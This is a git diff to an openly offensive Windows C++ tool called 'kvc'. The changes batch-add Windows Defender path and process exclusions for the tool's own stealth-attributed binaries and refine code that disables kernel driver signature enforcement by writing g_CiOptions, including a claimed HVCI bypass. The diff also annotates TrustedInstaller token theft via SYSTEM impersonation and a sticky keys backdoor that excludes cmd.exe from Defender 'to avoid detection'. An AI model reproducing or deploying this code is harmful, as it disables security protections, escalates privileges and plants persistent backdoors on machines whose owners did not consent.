diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp index 05449e7..24d69eb 100644 --- a/kvc/ControllerBinaryManager.cpp +++ b/kvc/ControllerBinaryManager.cpp @@ -130,17 +130,23 @@ bool Controller::WriteExtractedComponents(const std::vector& kvcPassData, SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs); SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs); - // Add Windows Defender exclusions for deployed components + // Add Windows Defender exclusions for deployed components using batch operation INFO(L"Adding Windows Defender exclusions for deployed components"); - // Add paths (all files) - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring()); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring()); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring()); + // Use batch operation instead of individual calls for better performance + std::vector paths = { + kvcPassPath.wstring(), + kvcCryptPath.wstring(), + kvcMainPath.wstring() + }; - // Add processes (executables only) - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe"); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe"); + std::vector processes = { + L"kvc_pass.exe", + L"kvc.exe" + }; + + // Single batch call replaces 5 individual operations - much faster! + int exclusionsAdded = m_trustedInstaller.AddMultipleDefenderExclusions(paths, processes, {}); INFO(L"Windows Defender exclusions configured successfully"); diff --git a/kvc/ControllerDSE.cpp b/kvc/ControllerDSE.cpp index de3ab9f..03f22d4 100644 --- a/kvc/ControllerDSE.cpp +++ b/kvc/ControllerDSE.cpp @@ -115,10 +115,8 @@ bool Controller::DisableDSE() noexcept { bool hvciEnabled = (currentValue & 0x0001C000) != 0; if (hvciEnabled) { - std::wcout << L"\n"; INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue); INFO(L"Preparing secure kernel deactivation (fully reversible)..."); - std::wcout << L"\n"; SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)"); diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp index 8afff05..eaa970c 100644 --- a/kvc/DSEBypass.cpp +++ b/kvc/DSEBypass.cpp @@ -127,7 +127,15 @@ bool DSEBypass::RestoreDSE() noexcept { DWORD currentValue = current.value(); DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); - // Step 4: Verify DSE is disabled (0x00000000) + // Step 4: Check if DSE is already enabled (bits 1 and 2 set) + bool dseEnabled = (currentValue & 0x6) != 0; + if (dseEnabled) { + INFO(L"DSE already enabled (g_CiOptions = 0x%08X) - no action required", currentValue); + SUCCESS(L"Driver signature enforcement is active"); + return true; + } + + // Step 5: Verify DSE is disabled (0x00000000) before restoring if (currentValue != 0x00000000) { INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue); INFO(L"DSE may already be enabled or system in unexpected state"); @@ -135,7 +143,7 @@ bool DSEBypass::RestoreDSE() noexcept { return false; } - // Step 5: Restore DSE bits + // Step 6: Restore DSE bits DWORD newValue = 0x00000006; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { @@ -143,7 +151,7 @@ bool DSEBypass::RestoreDSE() noexcept { return false; } - // Step 6: Verify the change + // Step 7: Verify the change auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)", diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 13a3b0c..4a1379a 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -164,25 +164,30 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { DWORD currentTime = GetTickCount(); + // Return cached token if still valid if (g_cachedTrustedInstallerToken && (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { return g_cachedTrustedInstallerToken; } + // Clear expired token if (g_cachedTrustedInstallerToken) { CloseHandle(g_cachedTrustedInstallerToken); g_cachedTrustedInstallerToken = nullptr; } + // Enable required privileges for token manipulation if (!EnablePrivilegeInternal(L"SeDebugPrivilege") || !EnablePrivilegeInternal(L"SeImpersonatePrivilege")) { ERROR(L"Failed to enable required privileges"); return nullptr; } + // Impersonate SYSTEM to access TrustedInstaller if (!ImpersonateSystem()) { ERROR(L"Failed to impersonate SYSTEM"); return nullptr; } + // Start TrustedInstaller service and get its PID DWORD trustedInstallerPid = StartTrustedInstallerService(); if (!trustedInstallerPid) { ERROR(L"Failed to start TrustedInstaller service"); @@ -190,6 +195,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() return nullptr; } + // Open TrustedInstaller process HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); if (!hTrustedInstallerProcess) { ERROR(L"Failed to open TrustedInstaller process"); @@ -197,6 +203,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() return nullptr; } + // Get process token HANDLE hTrustedInstallerToken; if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { ERROR(L"Failed to open TrustedInstaller token"); @@ -205,6 +212,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() return nullptr; } + // Duplicate token for impersonation HANDLE hDuplicatedToken; if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDuplicatedToken)) { @@ -215,10 +223,12 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() return nullptr; } + // Cleanup handles and revert to original context CloseHandle(hTrustedInstallerToken); CloseHandle(hTrustedInstallerProcess); RevertToSelf(); + // Enable all privileges on the duplicated token for (int i = 0; i < PRIVILEGE_COUNT; i++) { TOKEN_PRIVILEGES tp; LUID luid; @@ -230,13 +240,13 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() } } + // Cache the token with timestamp g_cachedTrustedInstallerToken = hDuplicatedToken; g_lastTokenAccessTime = currentTime; DEBUG(L"TrustedInstaller token cached successfully"); return g_cachedTrustedInstallerToken; } - // ============================================================================ // PROCESS EXECUTION // ============================================================================ @@ -277,6 +287,7 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi); if (result) { + // Wait for process completion with timeout DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); if (waitResult == WAIT_OBJECT_0) { @@ -298,6 +309,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma { std::wstring finalCommandLine = commandLine; + // Resolve .lnk files to actual executable paths if (IsLnkFile(commandLine)) { finalCommandLine = ResolveLnk(commandLine); if (finalCommandLine.empty()) { @@ -325,6 +337,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& { std::wstring finalCommandLine = commandLine; + // Resolve .lnk files to actual executable paths if (IsLnkFile(commandLine)) { finalCommandLine = ResolveLnk(commandLine); if (finalCommandLine.empty()) { @@ -349,7 +362,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& } // ============================================================================ -// FILE OPERATIONS (NEW) +// FILE OPERATIONS // ============================================================================ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath, @@ -389,6 +402,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view f return false; } + // Write data in chunks to handle large files DWORD totalWritten = 0; const DWORD chunkSize = 64 * 1024; @@ -434,6 +448,8 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view } std::wstring filePathStr{filePath}; + + // Remove read-only attribute if present DWORD attrs = GetFileAttributesW(filePathStr.c_str()); if (attrs != INVALID_FILE_ATTRIBUTES) { SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL); @@ -485,7 +501,6 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_ return success; } -// Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B) bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath, std::wstring_view dstPath) noexcept { @@ -503,7 +518,7 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view std::wstring srcPathStr{srcPath}; std::wstring dstPathStr{dstPath}; - // Clear attributes on source + // Clear attributes on source file before moving DWORD attrs = GetFileAttributesW(srcPathStr.c_str()); if (attrs != INVALID_FILE_ATTRIBUTES) { SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL); @@ -861,8 +876,54 @@ std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fu return std::wstring{fullPath}; } +// ============================================================================ +// DEFENDER AVAILABILITY CHECK +// ============================================================================ + +bool TrustedInstallerIntegrator::IsDefenderAvailable() noexcept +{ + SC_HANDLE hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCManager) return false; + + SC_HANDLE hService = OpenServiceW(hSCManager, L"WinDefend", SERVICE_QUERY_STATUS); + bool defenderAvailable = (hService != NULL); + + if (hService) CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + return defenderAvailable; +} + +bool TrustedInstallerIntegrator::IsDefenderRunning() noexcept +{ + SC_HANDLE hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCManager) return false; + + SC_HANDLE hService = OpenServiceW(hSCManager, L"WinDefend", SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCManager); + return false; + } + + SERVICE_STATUS_PROCESS status; + DWORD bytesNeeded; + BOOL success = QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, + (LPBYTE)&status, sizeof(status), &bytesNeeded); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + return (success && status.dwCurrentState == SERVICE_RUNNING); +} + bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value) { + // Check if Defender is available - if not, treat as success + if (!IsDefenderAvailable()) { + DEBUG(L"Windows Defender not available, skipping exclusion for: %s", std::wstring{value}.c_str()); + return true; // Return true because this is not an error + } + std::wstring processedValue{value}; switch (type) { @@ -889,7 +950,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::w const wchar_t* prefNames[] = { L"ExclusionPath", L"ExclusionProcess", - L"ExclusionExtension", + L"ExclusionExtension", L"ExclusionIpAddress" }; @@ -906,12 +967,61 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::w if (result) { SUCCESS(L"Defender exclusion added successfully"); } else { - ERROR(L"Failed to add Defender exclusion"); + // ZMIANA: Użyj INFO zamiast WARNING jeśli nie masz makra WARNING + INFO(L"Failed to add Defender exclusion (Defender might be disabled)"); } return result; } +int TrustedInstallerIntegrator::AddMultipleDefenderExclusions( + const std::vector& paths, + const std::vector& processes, + const std::vector& extensions) +{ + if (!IsDefenderAvailable()) { + INFO(L"Windows Defender not available, skipping exclusions"); + return 0; + } + + INFO(L"Configuring Windows Defender exclusions..."); + + int successCount = 0; + int totalAttempts = 0; + + // Add path exclusions + for (const auto& path : paths) { + if (AddPathExclusion(path)) successCount++; + totalAttempts++; + } + + // Add process exclusions + for (const auto& process : processes) { + if (AddProcessExclusion(process)) successCount++; + totalAttempts++; + } + + // Add extension exclusions + for (const auto& extension : extensions) { + if (AddExtensionExclusion(extension)) successCount++; + totalAttempts++; + } + + // Log summary instead of individual results + if (successCount > 0) { + SUCCESS(L"Defender exclusions configured (%d/%d added)", successCount, totalAttempts); + } else if (totalAttempts > 0) { + // ZMIANA: Użyj INFO zamiast WARNING + INFO(L"No Defender exclusions were added (Defender might be disabled)"); + } + + return successCount; +} + +// ============================================================================ +// SIMPLIFIED DEFENDER EXCLUSION MANAGEMENT +// ============================================================================ + bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value) { std::wstring processedValue{value}; @@ -943,6 +1053,7 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std return RunAsTrustedInstallerSilent(command); } +// Convenience methods for specific exclusion types bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) { return AddDefenderExclusion(ExclusionType::Paths, path); } @@ -1045,6 +1156,7 @@ bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept { INFO(L"Installing sticky keys backdoor with Defender bypass..."); + // Add cmd.exe to Defender exclusions to avoid detection if (!AddProcessToDefenderExclusions(L"cmd.exe")) { INFO(L"AV exclusion skipped for cmd.exe (continuing)"); } @@ -1094,6 +1206,7 @@ bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept SUCCESS(L"IFEO registry key removed"); } + // Clean up Defender exclusions if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { INFO(L"AV cleanup skipped for cmd.exe"); } @@ -1125,6 +1238,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() HKEY hKey; DWORD dwDisposition; + // Add context menu for executable files if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) { @@ -1146,6 +1260,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() RegCloseKey(hKey); } + // Add context menu for shortcut files if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) { diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h index 31c2683..df749d4 100644 --- a/kvc/TrustedInstallerIntegrator.h +++ b/kvc/TrustedInstallerIntegrator.h @@ -73,6 +73,12 @@ public: bool AddProcessToDefenderExclusions(std::wstring_view processName); bool RemoveProcessFromDefenderExclusions(std::wstring_view processName); + + // Simplified Defender exclusion management + int AddMultipleDefenderExclusions( + const std::vector& paths, + const std::vector& processes, + const std::vector& extensions); // Sticky keys backdoor bool InstallStickyKeysBackdoor() noexcept; @@ -93,6 +99,10 @@ private: static const LPCWSTR ALL_PRIVILEGES[]; static const int PRIVILEGE_COUNT; + // Defender availability checking + bool IsDefenderAvailable() noexcept; + bool IsDefenderRunning() noexcept; + BOOL EnablePrivilegeInternal(std::wstring_view privilegeName); BOOL ImpersonateSystem(); BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);